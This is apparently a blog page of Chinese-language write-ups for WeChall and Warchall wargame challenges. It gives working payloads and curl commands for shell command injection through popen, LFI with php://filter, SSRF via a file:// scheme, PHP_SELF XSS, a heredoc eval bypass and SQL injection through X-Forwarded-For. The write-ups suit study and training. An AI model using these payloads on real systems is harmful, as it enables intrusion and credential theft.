Hello Navi

Tech, Security & Personal Notes

Challenge

This is the level10 mini challenge found in /home/level/10/ on the warchall box. You can view the source here. 这是 Warchall 服务器上的 Level 10 小挑战,目录在 /home/level/10/(当前服务器实际目录名为 /home/level/10_choose_your_path/),题目页面给出了源码。

题目程序 charp 会统计一个文件的平均每行字符数。源码核心逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#define BUFSIZE 256

int main(int argc, char *argv[])
{
FILE *fp;
char buf[BUFSIZE];
char *filename;
int lines, chars, cpl;

setregid(510,510); // set real and effective GID to level10

if (argc != 2) {
fprintf(stderr, "Usage: %s filename\n", argv[0]);
exit(EXIT_FAILURE);
}

filename = argv[1];

if (snprintf(buf, BUFSIZE, "/usr/bin/wc -l %s", filename) >= BUFSIZE) {
fprintf(stderr, "Filename %s is too long!\n", filename);
exit(EXIT_FAILURE);
}

fp = popen(buf, "r");
fscanf(fp, "%d", &lines);
pclose(fp);

snprintf(buf, BUFSIZE, "/usr/bin/wc -c %s", filename);
fp = popen(buf, "r");
fscanf(fp, "%d", &chars);
pclose(fp);

cpl = chars / lines;
printf("Chars per line is %d.\n", cpl);

return EXIT_SUCCESS;
}

目录里有两个关键文件:

1
2
3
4
$ ls -la /home/level/10_choose_your_path/
-rwxr-sr-x 1 level10 level10 16392 Jan 3 2023 charp
-rw-r--r-- 1 root level10 1303 Jan 3 2023 charp.c
-rw-rw---- 1 root level10 171 Jan 3 2023 solution.txt

solution.txt 对普通用户不可读,但 charp 有 setgid bit:执行时有效 group 变成 level10,所以它能读这个文件。

Solution

关键约束:

  • 程序确实用绝对路径 /usr/bin/wc,所以不能通过 PATH 劫持 wc
  • 但它把用户输入的 filename 直接拼进 shell 命令,再交给 popen() 执行。
  • popen() 等价于让 /bin/sh -c 执行字符串,因此 ;, |, #, redirection 都会被 shell 解析。

也就是说,这不是文件路径选择问题,而是 command injection。

程序第一次执行的命令形如:

1
/usr/bin/wc -l <filename>

如果我们把 <filename> 传成:

1
solution.txt 1>&2; /bin/cat solution.txt 1>&2; #

实际命令会变成:

1
/usr/bin/wc -l solution.txt 1>&2; /bin/cat solution.txt 1>&2; #

解释:

  • solution.txt 作为正常参数,让 wc 不至于立刻失败。
  • 1>&2 把 stdout 重定向到 stderr。charp 会从 popen() 的 stdout 里读取数字;如果把注入命令的输出留在 stdout,可能干扰 fscanf()
  • ; /bin/cat solution.txt 1>&2 追加执行 cat,借助 setgid 权限读取答案,并输出到 stderr。
  • # 注释掉后面可能拼接出的残余命令片段。

Live 验证命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ssh -p 19198 <username>@warchall.net
$ cd /home/level/10_choose_your_path
$ ./charp "solution.txt 1>&2; /bin/cat solution.txt 1>&2; #"
8 solution.txt
#!/C:\windows\system32\ed

Congratulations hacker,

You have achieved what only a few achieve.
Kinda.

The flag or solution for this challenge is: <masked>
Cannot scan! Sorry!
171 solution.txt
#!/C:\windows\system32\ed
...

输出会出现两次,是因为程序先执行 wc -l,再执行 wc -c,两次 popen() 都会拼接同一个 filename,所以注入的 cat solution.txt 也被执行两次。

EpidermalGlance

Challenge

One reason why I wanted the warchall box is to offer more realistic webhacking challenges. You may now try the Live LFI challenge that is hosted on it. Good Luck! Warchall 服务器上托管了更接近真实环境的 Web hacking 题目。这个挑战是 Live LFI。

WeChall 页面本身只给出入口和提交框,真正的目标站点是:

1
https://lfi.warchall.net/index.php

打开页面后可以看到语言切换链接:

1
2
<a href="index.php?lang=en"><img src="english.png" title="English" alt="EN" /></a>
<a href="index.php?lang=de"><img src="german.png" title="German" alt="DE" /></a>

关键点是 lang 参数。正常情况下它用于选择语言文件,但如果后端直接把它拼进 include,就可能变成 Local File Inclusion。

Solution

先做 baseline:

1
$ curl -s 'https://lfi.warchall.net/index.php?lang=en'

页面正常返回英文内容。然后测试 lang 是否能影响 include 目标。这里不需要 SSH,也不需要在服务器上找文件;直接利用 PHP stream wrapper 读取当前目录下的 solution.php 源码即可。

payload:

1
https://lfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=solution.php

为什么用 php://filter

  • 直接访问 solution.php 只能看到它输出的 HTML,PHP 代码会被服务器执行,不会显示源码。
  • LFI 触发的是后端 include,如果包含 solution.php,里面的 PHP 仍然会执行,源码同样不可见。
  • php://filter/convert.base64-encode/resource=solution.php 会让 PHP 在读取文件时先把文件内容 base64 编码。这样 include 得到的是纯文本 base64,不会被当作 PHP 代码执行。

实际请求:

1
2
$ curl -s 'https://lfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=solution.php'
PGh0bWw+Cjxib2R5Pgo8cHJlIHN0eWxlPSJjb2xvcjojMDAwOyI+dGVoIGZhbGcgc2kgbmFlciE8L3ByZT4K...

把开头连续的 base64 部分解码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ python3 - <<'PY'
import base64, re, urllib.request
url = 'https://lfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=solution.php'
data = urllib.request.urlopen(url, timeout=10).read()
b64 = re.match(rb'[A-Za-z0-9+/=\r\n]+', data).group(0)
print(base64.b64decode(b64).decode())
PY
<html>
<body>
<pre style="color:#000;">teh falg si naer!</pre>
<pre style="color:#fff;">the flag is near!</pre>
</body>
</html>
<?php # YOUR_TROPHY
return '******************'; # <-´ ?>
SteppinStones42Pie

Challenge

一个很短的 PHP/PCRE 正则训练。页面要求提交一个 username:它必须通过正则检查,但长度又要超过正则允许的范围。

核心逻辑可以简化成:

1
2
3
4
5
6
7
if (!preg_match('/^[a-zA-Z]{1,16}$/', $username)) {
die('invalid');
}

if (strlen($username) > 16) {
// solved
}

看起来是矛盾的:正则只允许 1 到 16 个英文字母,后面却要求 strlen($username) > 16

Solution

关键在 PCRE 里 $ 的语义。

在默认模式下,$ 不只匹配字符串真正结尾,也可以匹配「字符串末尾换行符之前的位置」。也就是说:

1
aaaaaaaaaaaaaaaa\n

这串内容有 16 个 a,后面跟一个换行符。

正则 /^[a-zA-Z]{1,16}$/ 匹配时:

  • ^[a-zA-Z]{1,16} 吃掉 16 个 a
  • $ 可以停在最后的 \n 前面。
  • 因此 preg_match() 判定通过。

但 PHP 的 strlen() 会真实计算字节数,换行也算 1 字节:

1
16 个 a + 1 个 \n = 17

于是同一个输入同时满足:

1
2
preg_match('/^[a-zA-Z]{1,16}$/', $username) === 1
strlen($username) > 16

用 curl 提交时要保留末尾的 literal newline,推荐交给 --data-urlencode

1
2
3
4
5
$ curl -sL \
-b 'WC=...' \
-H 'User-Agent: Mozilla/5.0' \
--data-urlencode $'username=aaaaaaaaaaaaaaaa\n' \
'https://www.wechall.net/challenge/training/regexmini/index.php'

Challenge

Z and Gizmore were thinking of a file-sharing company, Crappyshare, to collect the latest warez and earn money in one go. While gizmore was working with the designer on the xhtml/css stuff, Z implemented the upload script, and we got first results...but it seems to contain a vulnerability somewhere. Some crackers already managed to gather sensitive local files (solution.php) and broke into the server.

Crappyshare 是一个文件共享站,支持两种上传方式:直接上传文件,或通过 URL 远程拉取文件。目标是通过漏洞读取服务器本地的 solution.php

Solution

查看源码(index.php?show=code)发现 upload_please_by_url() 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function upload_please_by_url($url)
{
if (1 === preg_match('#^[a-z]{3,5}://#', $url)) // 验证有 URL scheme
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FAILONERROR, true);
if (false === ($file_data = curl_exec($ch)))
{
htmlDisplayError('cURL failed.');
}
else
{
upload_please_thx($file_data); // 显示文件内容
}
}
}

关键漏洞:URL scheme 检查为 [a-z]{3,5}://,这意味着 file:// 协议没有被阻止。cURL 的 file:// 协议可以读取本地文件系统。直接用 file://solution.php 作为 URL 上传源:

1
2
$ curl -s -b 'WC=...' --data-urlencode 'url=file://solution.php' \
'https://www.wechall.net/challenge/crappyshare/crappyshare.php'

响应中包含 solution.php 的内容:

1
2
3
#########################
### ***************** ###
#########################

Summary

这个漏洞是典型的 SSRF(Server-Side Request Forgery)—— 服务端本应只允许 HTTP/HTTPS URL,但 Scheme 验证太宽松,允许了 file:// 协议。cURL 的 file:// 直接读取本地文件,绕过了所有访问控制。修复方案是只允许 https?:// 的 URL,并过滤掉 file://ftp:// 等内部协议。

ICaNSeEcLeArLyNoW

Challenge

这是一道 Research 类挑战,目标是找到 WeChall 管理员使用的隐藏 phpMyAdmin 页面。题面没有表单,也不需要提交密码;找到正确入口后访问即可判定。

页面底部藏了一行接近白色的提示文字(color:#fefefe,白底白字,查看 HTML 源码可见):

1
You don't need a hint, do you?

Solution

题名 PHP My Admin 本身就是提示。pma 是 phpMyAdmin 的常见缩写,所以直接尝试对应子域名:

1
https://pma.wechall.net/

访问该子域名会触发挑战检查。公开未登录访问也能看到命中提示,但不会记录账号进度:

1
2
3
4
5
6
7
8
$ curl -skL \
-H 'User-Agent: Mozilla/5.0' \
'https://pma.wechall.net/'
<html>
<body>
1:76:Your answer is correct. To keep track of your progress you need to register.
</body>
</html>

这里需要 -k / --insecure,因为站点返回的证书是 CN=www.wechall.net,SAN 里只有 wc2.wechall.netwechall.netwww.wechall.net,不包含 pma.wechall.net。浏览器访问时也会看到证书警告,继续访问即可。

带登录态复现时把 WC=... 换成自己的 cookie:

1
2
3
4
$ curl -skL \
-b 'WC=...' \
-H 'User-Agent: Mozilla/5.0' \
'https://pma.wechall.net/'

如果账号状态更新成功,最终以 /en/challsPHP My Adminwc_chall_solved_1 为准。

Challenge

This challenge is about researching the GWF3 codebase. I have put 2 passwords somewhere, but .... The first password is obvious and the second is very subversive. Both are near. Combine them without any separator.

需要研究 WeChall 的 GWF3 框架源码,找到两个隐藏的密码。

Solution

GWF3 源码在 GitHub:gizmore/gwf3

第一个密码("obvious"):

www/challenge/subversive/repeating/what_do_you_want_here.php 中,PHP 注释里藏着密码:

1
<?php /*InDaxIn*/ ?>

页面源码显示空引号,但查看原始 HTML 可以看到注释中的 InDaxIn

第二个密码("very subversive"):

www/challenge/subversive/history/install.php 的 git 历史中。当前版本:

1
$solution = '2bda2998d9b0ee197da142a0447f6725';  // MD5("wrong") — 红鲱鱼!

通过 git log 查看历史提交,原始密码是 NothingHereMoveAlong,后来被替换成了 MD5("wrong") 的哈希。

这就是为什么挑战叫 "Repeating History" —— 你必须重复/回溯 git 历史才能找到原始密码。

组合答案InDaxIn + NothingHereMoveAlong(无分隔符)

InDaxInNothingHereMoveAlong

Your mission is to inject alert(1); into this script, and make it popup a javascript alert.

目标是在页面里注入 alert(1);。现在这题不再依赖浏览器真实弹窗,而是检查 payload 后静默修补输出并判定结果。

Challenge

题目给了源码入口:index.php?highlight=christmas。页面上有一个 username 表单,直觉上像是要在用户名字段里做 XSS,但源码对 username 做了 htmlspecialchars()

1
2
3
4
5
6
7
if (isset($_POST['username']))
{
echo GWF_Box::box(sprintf(
"Well done %s, you entered your username. But this is <b>not</b> what you need to do.",
htmlspecialchars(Common::getPostString('username'))
));
}

所以 username 只是诱饵。题名是 Yourself PHP,真正要看的点是 $_SERVER['PHP_SELF']

Solution

关键代码在表单输出这里:

1
2
3
4
5
6
echo '<div class="box box_c">'.PHP_EOL;
echo sprintf('<form action="%s" method="post">', $_SERVER['PHP_SELF']).PHP_EOL;
echo sprintf('<div>%s</div>', GWF_CSRF::hiddenForm('phpself')).PHP_EOL;
echo sprintf('<div>Username:<input type="text" name="username" value="" /></div>').PHP_EOL;
echo sprintf('<div><input type="submit" name="deadcode" value="Submit" /></div>').PHP_EOL;
echo sprintf('</form>').PHP_EOL;

$_SERVER['PHP_SELF'] 被直接塞进 HTML attribute:

1
<form action="..." method="post">

普通访问时,PHP_SELF 只是脚本路径:

1
/challenge/yourself_php/index.php

但 PHP / Web server 通常会把 index.php 后面的 path info 也放进 PHP_SELF。访问下面这种路径时:

1
/challenge/yourself_php/index.php/anything

模板里的 %s 会变成:

1
<form action="/challenge/yourself_php/index.php/anything" method="post">

于是攻击面不在 POST body,而在 URL path info。只要让 path info 先闭合 action 的双引号,再闭合 <form> 起始标签,就能插入脚本节点:

1
/"><script>alert(1);</script>

拼回模板后,旧版漏洞会生成类似这样的 HTML:

1
<form action="/challenge/yourself_php/index.php/"><script>alert(1);</script>" method="post">

浏览器解析时:

  1. " 结束 action 属性。
  2. > 结束 <form> 起始标签。
  3. <script>alert(1);</script> 成为真正的脚本节点。
  4. 后面的 " method="post"> 只是残留文本,不影响前面的 script 执行。

当前 WeChall 源码已经在检查后静默修补了这个输入,注释里写的是:

1
2
3
4
5
# Check your injection and fix the hole by silently applying htmlsepcialchars to the vuln input.
if (phpself_checkit())
{
$chall->onChallengeSolved(GWF_Session::getUserID());
}

这里的 htmlsepcialchars 是源码注释里的原拼写。也就是说,现在的题目更像 simulated challenge:phpself_checkit() 检查静态 payload,命中后判定正确;不需要真的让当前页面弹窗。

实际访问时用 URL-encoded payload,避免 shell、URL 和 HTML 对 <>" 的处理差异:

1
2
3
4
5
$ curl -sL \
-H 'User-Agent: Mozilla/5.0' \
'https://www.wechall.net/en/challenge/yourself_php/index.php/%22%3E%3Cscript%3Ealert(1);%3C/script%3E' \
| grep -o 'Your answer is correct'
Your answer is correct

如果带登录态访问同一个 URL,命中后会把挑战记到当前账号;最终以 /en/challsYourself PHPwc_chall_solved_1 为准。

Challenge

space 的 PHP eval 小挑战。目标是在 13 字节以内构造一个表达式,让执行后的 $spaceone 严格等于字符串 1337

页面给出完整源码,核心逻辑是读取 GET 参数 eval,删除一批字符,限制长度,然后拼进 eval()

1
2
3
4
5
6
7
8
9
10
11
$f = Common::getGetString('eval');
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);

if ((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
die('sorry, not allowed!');
}

eval("\$spaceone = $f");

return ($spaceone === '1337');

最后是 strict comparison,所以直接提交 1337 不行:

1
$spaceone = 1337;

这样得到的是 integer 1337,不是 string "1337"

Solution

约束很紧:

  • 引号 " / ' 会被删除,不能直接写字符串。
  • $ 会被删除,不能引用变量。
  • . 会被删除,不能拼接字符串。
  • ( / ) 会被删除,基本不能调用函数。
  • > 会被删除,但 < 没有被删。
  • 长度最多 13 字节,且不能包含 return

问题变成:PHP 有没有不需要引号的字符串字面量?答案是 heredoc。

1
2
3
<<<a
1337
a;

这里用一字符标识符 a,字节数刚好卡进限制:

1
2
<<<a\n1337\na;\n
4 + 1 + 4 + 1 + 2 + 1 = 13

payload 只用到 <、字母、数字、分号和换行,都不会被过滤。进入 eval() 后等价于:

1
2
3
$spaceone = <<<a
1337
a;

heredoc 表达式的值是字符串 "1337",因此能通过 $spaceone === '1337'

用 curl 提交时让 --data-urlencode 处理换行,避免手写 %0A 出错:

1
2
3
4
5
6
$ curl -sL -G \
-H 'User-Agent: Mozilla/5.0' \
--data-urlencode $'eval=<<<a\n1337\na;\n' \
'https://www.wechall.net/challenge/space/php0819/index.php' \
| grep -o 'Your answer is correct'
Your answer is correct

等价的 URL 参数是:

1
eval=%3C%3C%3Ca%0A1337%0Aa%3B%0A

Challenge

一个带源码的 guestbook 挑战。页面会把留言、session id、时间和访问者 IP 写入数据库;目标是找到 Admin 的密码。

关键点不在留言内容,而在 IP 来源:程序信任 X-Forwarded-For,并把它当作字符串直接拼进 INSERT

Solution

源码里的 IP 获取逻辑大致是:优先读取 $_SERVER['HTTP_X_FORWARDED_FOR'],否则才使用真实远端地址。随后写入 guestbook:

1
INSERT INTO gbook_book VALUES('$sessid', 0, $time, '$ip', '$message')

$message 会被正常处理,但 $ip 没有转义。因为 $ip 被包在单引号里,可以用 X-Forwarded-For 关闭当前字符串,再补齐后面的 VALUES 字段。

先构造一个不依赖盲注的 payload:把 Admin 密码查出来,直接写到 guestbook 的 message 字段里。

1
127.0.0.1', (SELECT gbu_password FROM gbook_user WHERE gbu_name='Admin'))#

代入后 SQL 变成:

1
2
3
4
5
6
7
INSERT INTO gbook_book VALUES(
'$sessid',
0,
$time,
'127.0.0.1',
(SELECT gbu_password FROM gbook_user WHERE gbu_name='Admin'))#',
'$message')

# 注释掉原本剩下的 ', '$message'),于是子查询结果会作为留言内容落库。

实际提交时需要带登录 cookie,并先从页面取当前 CSRF token:

1
2
3
4
5
6
$ curl -s -b 'WC=...' \
-H "X-Forwarded-For: 127.0.0.1',(SELECT gbu_password FROM gbook_user WHERE gbu_name='Admin'))#" \
--data-urlencode 'message=test' \
--data-urlencode 'sign=Sign Guestbook' \
--data-urlencode 'gwf3_csrf=TOKEN' \
'https://www.wechall.net/en/challenge/guestbook/index.php'

再刷新 guestbook,刚插入的记录会显示 Admin 密码。

TheBrownFoxAndTheLazyDog

Challenge

WeChall 自带的随机问答挑战。每次访问页面会随机显示一道选择题,需要在 60 秒内提交正确答案。答对若干题后自动完成。

题目范围覆盖计算机历史、技术术语、影视、文学、地理等类别,随机抽取。

Solution

每道题都有一个 60 秒的计时器,表面看需要广泛的知识储备才能通过。但挑战的题库文件意外地暴露在 Web 上。

题库泄露

挑战页面所在的目录下有一个隐藏子目录:

1
/challenge/trivia/74k37h053/

目录名 74k37h053 是 leetspeak,指向 3 个纯文本文件,包含了完整的问答数据库:

文件 题数 内容
gizmore.txt 7 Gizmore 自创的冷门题
z.txt 116 综合题库(影视/文学/历史/技术)
InternalAffairs-Computers.txt 59 计算机/技术专项(缩写/历史/网络)

每题的格式统一:

1
/Category/Answer1/AlternativeAnswer//Question text?

例如:

1
2
3
4
5
6
7
/Acronyms-Hardware/Central Processing Unit//What does CPU stand for?
/History-Computers/Moore's Law/Moore//What law says that the number of transistors doubles every 18 months?
/Technical-Networks/Tier-1 (T1)/Tier-1/T-1/T1//1.544 Mbps is the transfer rate of which common broadband technology?
/Computers/Dmitry Sklyarov//Who was arrested at DEFCON in 2001?
/Computers/Pretty Good Privacy//PGP is the acronym for?
/Computers/town hall//What is the primary structure in Warcraft: Orcs & Humans?
/Celebrity/Bill Gates//Who is the most famous for getting a cake in his face?

自动化答题

拿到题库后,解法就很简单了:

  1. 读取页面,提取问题文本
  2. 在题库中逐条匹配,找到对应的答案
  3. 在 60 秒内提交

由于每次加载页面都会刷新 CSRF token,提取题目和提交需要在同一次请求中完成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import subprocess, re

cookie = 'WC=...'
url = 'https://www.wechall.net/challenge/trivia/index.php'
qa_bank = {} # 从 3 个 txt 文件解析

# 解析题库
def load_qa(path):
for line in open(path):
parts = line.strip().split('//')
if len(parts) == 2:
meta, question = parts
# /category/answer1/answer2 → answer1
answer = meta.rsplit('/')[-1]
qa_bank[question.strip()] = answer

# 一次提取 + 提交
html = subprocess.run(['curl', '-sL', '-b', cookie, url],
capture_output=True, text=True).stdout

question = re.search(r'Question:<br/>\s*(.*?)<br/>', html).group(1)
csrf = re.search(r'gwf3_csrf" value="([^"]+)"', html).group(1)
answer = qa_bank.get(question.strip())

subprocess.run(['curl', '-sL', '-b', cookie, url,
'--data-urlencode', f'answer={answer}',
'--data-urlencode', 'cmd=Answer',
'--data-urlencode', f'gwf3_csrf={csrf}'],
capture_output=True, text=True)

答对约 10-15 道不同的题后,页面显示 "already solved",挑战完成。

+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE